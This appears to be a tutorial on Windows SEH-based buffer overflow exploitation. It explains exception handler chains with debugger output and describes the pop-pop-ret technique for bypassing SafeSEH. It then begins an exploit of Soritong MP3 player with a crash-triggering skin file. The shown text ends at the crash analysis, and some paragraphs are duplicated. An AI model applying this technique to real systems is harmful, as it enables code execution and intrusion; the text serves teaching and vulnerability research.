Today, we’ll look at another technique to go from vulnerability to exploit, by using exception handlers.
What are exception handlers ?
An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an execption. A typical exception handler looks like this :try
{
//run stuff. If an exception occurs, go to <catch> code
}
catch
{
// run stuff when exception occurs
}
A quick look on the stack on how the try & catch blocks are related to each other and placed on the stack : Top of stack -> --------------------------
| |
| |
-------------------------- ----|
| Local vars | |
-------------------------- |
| Saved EBP | |
-------------------------- \ This is the frame with
| Saved EIP | / Exception Handling
-------------------------- |
| Params | | try { ... }
Exception |---- -------------------------- ----|
Handler / | Address of exception |
\ | Handler |
catch { ....} |---- -------------------------- ----|
| | |
| | \ More frames
| | /
| | |
Bottom of stack -> -------------------------- ----|
(Note : "Address of exception handler" is just one part of a SEH record – the image above is an abstract representation, merely showing the various components)Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of the default handler kicking in. It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort. When using language EH’s, the necessary links and calls to the exception handling code are generate in accordance with the underlying OS. (and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)). So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).
In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved on the stack (for each code block). Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame. In other words : Each function/procedure gets a stack frame. If an exception handler is implement in this function/procedure, the exception handler gets its own stack frame. Information about the frame-based exception handler is stored in an exception_registration structure on the stack.
This structure ( also called a SEH record) is 8 bytes and has 2 (4 byte) elements :
- a pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception)
- a pointer, the address of the actual code of the exception handler. (SE Handler)
Stack
------------------------------------------- <- Top
| |
| |
---- --------------------------------- |
4 bytes | | Pointer to Next SEH record | --> |
| --------------------------------- | | -------------------------
4 bytes | | Pointer to Exception Handler |------------- | Exception_handler1() |
---- --------------------------------- | | -------------------------
| | |
| | |
---- --------------------------------- <-| |
4 bytes | | Pointer to Next SEH record | ->> |
| --------------------------------- | | -------------------------
4 bytes | | Pointer to Exception Handler |------------- | Exception_handler2() |
---- --------------------------------- | | -------------------------
| | |
| | |
---- --------------------------------- <<- |
4 bytes | | Pointer to Next SEH record | --> |
| --------------------------------- | | -------------------------
4 bytes | | Pointer to Exception Handler |------------- | Exception_handler3() |
---- --------------------------------- | | -------------------------
| | |
| | |
---- --------------------------------- | |
4 bytes | | 0xFFFFFFFF | <-- |
| --------------------------------- | -------------------------
4 bytes | | Pointer to Exception Handler |------------- | MSVCRT!exhandler |
---- --------------------------------- | -------------------------
| |
| |
| |
| |
| |
| |
| |
------------------------------------------- <- Bottom
At the top of the main data block (the data block of the application’s “main” function, or TEB (Thread Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. This SEH chain is often called the FS:[0] chain as well.So, on Intel machines, when looking at the disassembled SEH code, you will see an instruction to move DWORD ptr from FS:[0]. This ensures that the exception handler is set up for the thread and will be able to catch errors when they occur. The opcode for this instruction is 64A100000000. If you cannot find this opcode, the application/thread may not have exception handling at all.
we can find 64A100000000 with mona.
0BADF00D [+] Command used:
0BADF00D !mona find -type bin -s "64A100000000"
---------- Mona command started on 2015-06-08 18:36:11 (v2.0, rev 554) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : *
0BADF00D - Treating search pattern as bin
0BADF00D [+] Searching from 0x00000000 to 0x7fffffff
5AD70000 Modules C:\WINDOWS\system32\UxTheme.dll
0BADF00D [+] Preparing output file 'find.txt'
0BADF00D - (Re)setting logfile C:\logs\notepad\find.txt
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Writing results to C:\logs\notepad\find.txt
0BADF00D - Number of pointers of type '"64A100000000"' : 35
0BADF00D [+] Results :
77F83185 0x77f83185 : "64A100000000" | {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
77BE2DF1 0x77be2df1 : "64A100000000" | {PAGE_EXECUTE_READ} [MSACM32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\MSACM32.dll)
7C8024DB 0x7c8024db : "64A100000000" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)
6F8A6414 0x6f8a6414 : "64A100000000" | {PAGE_EXECUTE_READ} [AcGenral.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\AppPatch\AcGenral.DLL)
6F8A669D 0x6f8a669d : "64A100000000" | {PAGE_EXECUTE_READ} [AcGenral.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\AppPatch\AcGenral.DLL)
6F8A67EF 0x6f8a67ef : "64A100000000" | {PAGE_EXECUTE_READ} [AcGenral.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\AppPatch\AcGenral.DLL)
6F8A6F91 0x6f8a6f91 : "64A100000000" | {PAGE_EXECUTE_READ} [AcGenral.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\AppPatch\AcGenral.DLL)
7C9033F8 0x7c9033f8 : "64A100000000" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
7C90E8B0 0x7c90e8b0 : "64A100000000" | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
77F18035 0x77f18035 : "64A100000000" | {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\GDI32.dll)
5CB7DAED 0x5cb7daed : "64A100000000" | {PAGE_EXECUTE_READ} [ShimEng.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ShimEng.dll)
730012D5 0x730012d5 : "64A100000000" | null {PAGE_EXECUTE_READ} [WINSPOOL.DRV] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\WINSPOOL.DRV)
77C01495 0x77c01495 : "64A100000000" | {PAGE_EXECUTE_READ} [VERSION.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\VERSION.dll)
77FE1C06 0x77fe1c06 : "64A100000000" | {PAGE_EXECUTE_READ} [Secur32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\Secur32.dll)
7E4185C5 0x7e4185c5 : "64A100000000" | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
77121734 0x77121734 : "64A100000000" | ascii {PAGE_EXECUTE_READ} [OLEAUT32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\OLEAUT32.dll)
77143A38 0x77143a38 : "64A100000000" | asciiprint,ascii {PAGE_EXECUTE_READ} [OLEAUT32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\OLEAUT32.dll)
0100756D 0x0100756d : "64A100000000" | null {PAGE_EXECUTE_READ} [notepad.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v5.1.2600.5512 (C:\Documents and Settings\lab\Desktop\notepad.exe)
774FCFB4 0x774fcfb4 : "64A100000000" | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
763B66DB 0x763b66db : "64A100000000" | {PAGE_EXECUTE_READ} [comdlg32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\comdlg32.dll)
0BADF00D ... Please wait while I'm processing all remaining results and writing everything to file...
0BADF00D [+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\logs\notepad\find.txt...
0BADF00D Found a total of 35 pointers
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.803000
Alternatively, you can use a OllyDBG plugin called OllyGraph to create a Function Flowchart.The bottom of the SEH chain is indicated by FFFFFFFF. This will trigger an improper termination of the program (and the OS handler will kick in)
Quick example : compile the following source code (sehtest.exe) and open the executable in windbg. Do NOT start the application yet, leave it in a paused state :
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
printf("Application launched");
__try {
strcpy(temp,argv[1]);
}
__except ( ExceptionHandler() )
{
//
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
look at the loaded modulesExecutable search path is:
ModLoad: 00400000 0040b000 image00400000
ModLoad: 7c900000 7c9af000 ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
The application sits between 0x00400000 and 0x0040b000.Search this area for the opcode:
0:000> s 00400000 l 0040b000 64 A1
0040100f 64 a1 00 00 00 00 50 64-89 25 00 00 00 00 81 ec d.....Pd.%......
004012b3 64 a1 00 00 00 00 50 64-89 25 00 00 00 00 83 ec d.....Pd.%......
00404f8d 64 a1 00 00 00 00 50 64-89 25 00 00 00 00 83 ec d.....Pd.%......
004051dc 64 a1 00 00 00 00 50 64-89 25 00 00 00 00 83 ec d.....Pd.%......
00406028 64 a1 80 7c 7b cc 81 7c-98 2f 81 7c 27 cd 80 7c d..|{..|./.|'..|
This is proof that an exception handler is registered. Dump the TEB :0:000> d fs:[0]
003b:00000000 0c fd 12 00 00 00 13 00-00 e0 12 00 00 00 00 00 ................
003b:00000010 00 1e 00 00 00 00 00 00-00 d0 fd 7f 00 00 00 00 ................
003b:00000020 a8 0c 00 00 ac 0c 00 00-00 00 00 00 00 00 00 00 ................
003b:00000030 00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
The pointer points to 0x0012fd0c (begin of SEH chain). When looking at that area, we see:0:000> d 0x0012fd0c
0012fd0c ff ff ff ff 00 e9 90 7c-10 b0 91 7c 01 00 00 00 .......|...|....
0012fd1c 00 00 00 00 37 e4 90 7c-30 fd 12 00 00 00 90 7c ....7..|0......|
0012fd2c 00 00 00 00 17 00 01 00-00 00 00 00 00 00 00 00 ................
0012fd3c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0012fd4c b8 da 2b f5 84 e4 3b f8-b0 b6 08 82 38 e2 f3 81 ..+...;.....8...
0012fd5c 92 e4 3b f8 48 e2 f3 81-18 9b 3d 82 98 d1 25 82 ..;.H.....=...%.
0012fd6c 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0012fd7c 00 00 00 00 00 00 00 00-00 00 00 00 01 00 00 00 ................
ff ff ff ff indicates the end of the SEH chain. That’s normal, because the application is not started yet. (Windbg is still paused)If you have the Ollydbg plugin Ollygraph installed, you could open the executable in ollydbg and create the graph, which should indicate if an exception handler is installed or not.
When we run the application (F5 or ‘g’), we see this :
0:000> d fs:[0]
003b:00000000 70 ff 12 00 00 00 13 00-00 e0 12 00 00 00 00 00 p...............
003b:00000010 00 1e 00 00 00 00 00 00-00 d0 fd 7f 00 00 00 00 ................
003b:00000020 a8 0c 00 00 ac 0c 00 00-00 00 00 00 00 00 00 00 ................
003b:00000030 00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d 0x0012ff70
0012ff70 b0 ff 12 00 cc 11 40 00-b0 60 40 00 00 00 00 00 ......@..`@.....
0012ff80 c0 ff 12 00 58 13 40 00-01 00 00 00 10 0e 33 00 ....X.@.......3.
0012ff90 68 0e 33 00 ee f6 dd 00-84 f7 dd 00 00 e0 fd 7f h.3.............
0012ffa0 01 00 00 00 06 00 00 00-94 ff 12 00 9f 1c 58 80 ..............X.
0012ffb0 e0 ff 12 00 cc 11 40 00-c0 60 40 00 00 00 00 00 ......@..`@.....
0012ffc0 f0 ff 12 00 67 70 81 7c-ee f6 dd 00 84 f7 dd 00 ....gp.|........
0012ffd0 00 e0 fd 7f b8 b6 54 80-c8 ff 12 00 10 19 ee 81 ......T.........
0012ffe0 ff ff ff ff c0 9a 83 7c-70 70 81 7c 00 00 00 00 .......|pp.|....
The TEB for the main function is now set up. The SEH chain for the main function points at 0x0012ff70, where the exception handler is listed and will point to the exception handler function (0x0012ffb0)In Immunity Debugger, you can see the seh chain more easily:
SEH chain of main thread
Address SE handler
0012FF70 sehtest.004013E0
0012FFB0 sehtest.004013E0
0012FFE0 kernel32.7C839AC0
(There is a similar view in Immunity Debugger – just click "View" and select "SEH Chain")Stack:
0012FF70 0012FFB0 ▒▒. Pointer to next SEH record
0012FF74 004013E0 ▒@. SE handler
0012FF78 00422038 8 B. sehtest.00422038
0012FF7C 00000000 ....
0012FF80 /0012FFC0 ▒▒.
0012FF84 |004015A9 ▒@. RETURN to sehtest.<ModuleEntryPoint>+0E9 from sehtest.0040100A
0012FF88 |00000001 ...
0012FF8C |00330E10 3.
0012FF90 |00330E98 ▒3.
0012FF94 |0069006E n.i.
0012FF98 |00790074 t.y.
0012FF9C |7FFDF000 .▒▒
0012FFA0 |00000006 ...
0012FFA4 |F5487D04 }H▒
0012FFA8 |0012FF94 ▒▒.
0012FFAC |80581C9F ▒X▒
0012FFB0 |0012FFE0 ▒▒. Pointer to next SEH record
0012FFB4 |004013E0 ▒@. SE handler
0012FFB8 |00422160 `!B. sehtest.00422160
0012FFBC |00000000 ....
0012FFC0 \0012FFF0 ▒▒.
0012FFC4 7C817067 gp▒| RETURN to kernel32.7C817067
0012FFC8 0069006E n.i.
0012FFCC 00790074 t.y.
0012FFD0 7FFDF000 .▒▒
0012FFD4 8054B6B8 ▒▒T▒
0012FFD8 0012FFC8 ▒▒.
0012FFDC 81D3F300 .▒Ӂ
0012FFE0 FFFFFFFF ▒▒▒▒ End of SEH chain
0012FFE4 7C839AC0 ▒▒▒| SE handler
0012FFE8 7C817070 pp▒| kernel32.7C817070
0012FFEC 00000000 ....
0012FFF0 00000000 ....
0012FFF4 00000000 ....
0012FFF8 004014C0 ▒@. sehtest.<ModuleEntryPoint>
0012FFFC 00000000 ....
Here we can see a pointer to our Exception Handler function ExceptionHandler() (0x004013E0)Anyways, as you can see in the explanation above the example, and in the last screenshot, exception handlers are connected/linked to each other. They form a linked list chain on the stack, and sit relatively close to the bottom of the stack. (SEH chain). When an exception occurs, Windows ntdll.dll kicks in, retrieves the head of the SEH chain (sits at the top of TEB/TIB remember), walks through the list and tries to find the suitable handler. If no handler is found the default Win32 handler will be used (at the bottom of the stack, the one after FFFFFFFF).
We see the first SE Handler record at 0012FF70. The next SEH address points to the next SEH record (0012FFB0). The current handler points at 7C839AC0. It looks like this is some kind of OS handler (the pointers points into an OS module)
Then, the second SEH record entry in the chain (at 0012FFB0) has the following values : next SEH points to 0012FFE0. The handler points at 004013E0. This address is part of the executable, so it looks like this is an application handler.
Finally, the last SEH record in the chain (at 0012FFE0) has FFFFFFFF in nseh. This means that this is the last entry in the chain. The handler points at 7C839AD8, which is an OS handler again.
So, putting all pieces together, the entire SEH chain looks like this :
Stack
------------------------ --------------------------
| TEB | | |
| FS[0]:0x0012FF70 ------------| 0x0012FF70:0x0012FFB0: next SEH record --------|
| | | 0x0012FF74:0x004013E0: SE handler |
------------------------ -------------------------- |
|
|------------------------------------------------------------------|
|
| --------------------------
| | |
|--------------->| 0x0012FFB0:0x0012FFE0: next SEH record --------|
| 0x0012FFB4:0x004013E0: SE handler |
-------------------------- |
|
|------------------------------------------------------------------|
|
| --------------------------
| | |
|--------------->| 0x0012FFB0:0xFFFFFFFF: next SEH record (end of chain)
| 0x0012FFB4:0x7C839AC0: SE handler
--------------------------
You can read more about SEH in Matt Pietrek’s excellent article from 1997 : http://www.microsoft.com/msj/0197/exception/exception.aspx.Changes in Windows XP SP1 with regards to SEH, and the impact of GS/DEP/SafeSEH and other protection mechanisms on exploit writing.
XOR
In order to be able to build an exploit based on SEH overwrite, we will need to make a distinction between Windows XP pre-SP1 and SP1 and up. Since Windows XP SP1, before the exception handler is called, all registers are XORed with each other, making them all contain 0x00000000, which means you won’t be able to find a reference to your payload in one of the registers. In other words, maybe you’ll see that one or more registers point at your payload at the first chance exception, but when the EH kicks in, these registers are cleared again (so you cannot jump to them directly in order to execute your shellcode). We’ll talk about this later on.DEP & Stack Cookies
On top of that, Stack Cookies (via C++ compiler options) and DEP (Data Execution Prevention) were introduced (Windows XP SP2 and Windows 2003) . I will write an entire post on Stack cookies and DEP. In sort, you only need to remember that these two techniques can make it significantly harder to build exploits.DEP & Stack Cookies
On top of that, Stack Cookies (via C++ compiler options) and DEP (Data Execution Prevention) were introduced (Windows XP SP2 and Windows 2003) . I will write an entire post on Stack cookies and DEP. In sort, you only need to remember that these two techniques can make it significantly harder to build exploits.SafeSEH
Some additional protection was added to compilers, helping to stop the abuse of SEH overwrites. This protection mechanism is active for all modules that are compiled with /safeSEH.Windows 2003
Under Windows 2003 server, more protection was added. I’m not going to discuss these protections in this post (check tutorial series part 6 for more info), because things would start to get too complex at this point. As soon as you mastered this tutorial, you will be ready to look at tutorial part 6 :-).XOR, SafeSEH,…. but how can we then use the SEH to jump to shellcode ?
There is a way around the XOR 0x00000000 protection and the SafeSEH protections. Since you cannot simply jump to a register (because registers are xored), a call to a series of instructions in a dll will be needed.(You should try to avoid using a call from the memory space of an OS specific dll, but rather use an address from an application dll instead in order to make the exploit reliable (assuming that this dll is not compiled with safeSEH). That way, the address will be almost always the same, regardless of the OS version. But if there are no DLL’s, and there is a non safeseh OS module that is loaded, and this module contains a call to these instructions, then it will work too.)The theory behind this technique is : If we can overwrite the pointer to the SE handler that will be used to deal with a given exception, and we can cause the application to throw another exception (a forced exception), we should be able to get control by forcing the application to jump to your shellcode (instead of to the real exception handler function). The series of instructions that will trigger this, is POP POP RET. The OS will understand that the exception handling routine has been executed and will move to the next SEH (or to the end of the SEH chain). The pointer to this instruction should be searched for in loaded dll’s/exe’s, but not in the stack (again, the registers will be made unusable). (You could try to use ntdll.dll or an application-specific dll).
One quick sidenote : there is an excellent Ollydbg plugin called OllySSEH, which will scan the process loaded modules and will indicate if they were compiled with SafeSEH or not. It is important to scan the dll’s and to use a pop/pop/ret address from a module that is not compiled with SafeSEH. If you are using Immunity Debugger, then you can use the pvefindaddr plugin to look for seh (p/p/r) pointers. This plugin will automatically filter invalid pointers (from safeseh modules etc) and will also look for all p/p/r combinations. I highly recommend using Immunity Debugger and pvefindaddr.Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE Handler). The pop pop ret sequence will make sure this code gets executed.
In other words, the payload must do the following things
- cause an exception. Without an exception, the SEH handler (the one you have overwritten/control) won’t kick in
- overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode)
- overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode.
-
The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten “pointer to next SEH record” will jump to it).
-------------------------- | Access violation / | | exception is triggered | -------------------------- | | | <1>. Exception Handler kicks in | <4>. Pointer to next SEH was overwritten | -------------------------------------- with jmp to shellcode. | | ------------------------------ | ------------------ ---------->| Pointer to next SEH record |-----------------------| Shellcode | | | | ------------------------------ | ------------------ | | | | | | | ------------------------------ | | |----->| Current SE Handler | | | | ------------------------------ | | |-----------------|------------------| | | | | <2>. Current SE Handler was overwritten and | \|/ points to pop,pop,ret | | | -------------------------------- |------->| POP,POP,RET | -------------------------------- <3>. pop,pop,ret. During prologue of exception handler, address of pointers to next SEH was put on stack at ESP+8. pop pop ret puts this address in EIP and allows execution of the code at the address of "pointer to next SEH".
A typical payload will look like this:
[Junk][nSEH][SEH][Nop-Shellcode]
Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop ret.Make sure to pick a universal address for overwriting the SEH. Ideally, try to find a good sequence in one of the dll’s from the application itself.
Before looking at building an exploit, we’ll have a look at how Ollydbg and windbg can help tracing down SEH handling (and assist you with building the correct payload).
The test case in this post is based on a vulnerability that was released last week (july 20th 2009).
See SEH in action – Immunity Debugger
When performing a regular stack based buffer overflow, we overwrite the return address (EIP) and make the application jump to our shellcode. When doing a SEH overflow, we will continue overwriting the stack after overwriting EIP, so we can overwrite the default exception handler as well. How this will allow us to exploit a vulnerability, will become clear soon.Let’s use a vulnerability in Soritong MP3 player 1.0, made public on july 20th 2009.
The vulnerability points out that an invalid skin file can trigger the overflow. We’ll use the following basic perl script to create a file called UI.txt in the skin\default folder :
>>> fpath = "ui.txt"
>>> data = "A" * 5000
>>> f = open(fpath, "w")
>>> f.write(data)
>>> f.close()
Now open soritong. The application dies silently (probably because of the exception handler that has kicked in, and has not been able to find a working SEH address (because we have overwritten the address).FIrst, we’ll work with Ollydbg/Immunity to clearly show you the stack and SEH chain . Open Ollydbg/Immunity Debugger and open the soritong.exe executable. Press the “play” button to run the application. Shortly after, the application dies and stops at this screen:
The application has died at 0x00422E33. At that point, ESP points at 0x0012DA14. Further down the stack (at 0x0012DA6C), we see FFFFFFFF, which looks likeindicates the end of the SEH chain. Directly below 0x0012DA14, we see 7E41882A, which is the address of the default SE handler for the application. This address sits in the address space of user32.dll.
A couple of addresses higher on the stack, we can see some other exception handlers, but all of them also belong to the OS (ntdll in this case). So it looks like this application (or at least the function that was called and caused the exception) does not have its own exception handler routine.
When we look at the threads (View – Threads) select the first thread (which refers to the start of the application), right click and choose ‘dump thread data block’, we can see the Pointer to the SEH chain :
So the exception handler worked. We caused an exception (by building a malformed ui.txt file). The application jumped to the SEH chain (at 0x0012DF64).
Go to “View” and open “SEH chain”
SEH chain of main thread
Address SE handler
0012FD64 41414141
41414141 *** CORRUPT ENTRY ***
The SE handler has been overwritten with 4 A’s. Now it becomes interesting. When the exception is handled, EIP will be overwritten with the address in the SE Handler. Since we can control the value in the handler, we can have it execute our own code.See SEH in action – Windbg
When we now do the same in windbg, this is what we see : Close Ollydbg, open windbg and open the soritong.exe file.The debugger first breaks (it puts a breakpoint before executing the file). Type command g (go) and press return. This will launch the application. (Alternatively, press F5)
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: "C:\Program Files\SoriTong\SoriTong.exe"
Symbol search path is: SRV*C:\localsymbols*http://msdl.microsoft.com/download/symbols;cache*c:\localsymbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 004de000 SoriTong.exe
ModLoad: 7c900000 7c9af000 ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 73000000 73026000 C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\COMDLG32.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\OLE32.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll
(e0c.e10): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffdd000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> g
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll
ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll
ModLoad: 00eb0000 00eff000 C:\WINDOWS\system32\DRMClien.DLL
ModLoad: 5bc60000 5bc9f000 C:\WINDOWS\system32\strmdll.dll
ModLoad: 71ad0000 71ad9000 C:\WINDOWS\system32\WSOCK32.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76eb0000 76edf000 C:\WINDOWS\system32\TAPI32.dll
ModLoad: 76e80000 76e8e000 C:\WINDOWS\system32\rtutils.dll
(e0c.e10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017d504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
0:000> d esp
0012da14 74 c2 aa 00 00 00 00 00-00 00 00 00 00 00 00 00 t...............
0012da24 94 da 12 00 00 00 00 00-38 52 15 00 00 00 00 00 ........8R......
0012da34 00 00 00 00 00 00 00 00-00 00 00 00 64 6a 94 7c ............dj.|
0012da44 47 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f2 00 G(.|............
0012da54 01 00 00 00 24 da 12 00-41 9a 94 7c d4 ed 12 00 ....$...A..|....
0012da64 8f 04 44 7e 30 88 41 7e-ff ff ff ff 2a 88 41 7e ..D~0.A~....*.A~
0012da74 7b 92 42 7e 79 b8 00 00-b8 da 12 00 d8 00 0b 5d {.B~y..........]
0012da84 94 da 12 00 bf fe ff ff-b8 f0 12 00 58 8b 15 00 ............X...
ffffffff here indicates the end of the SEH chain. When we run !analyze -v, we get this :0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000
FAULTING_THREAD: 00000e10
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE
PROCESS_NAME: SoriTong.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
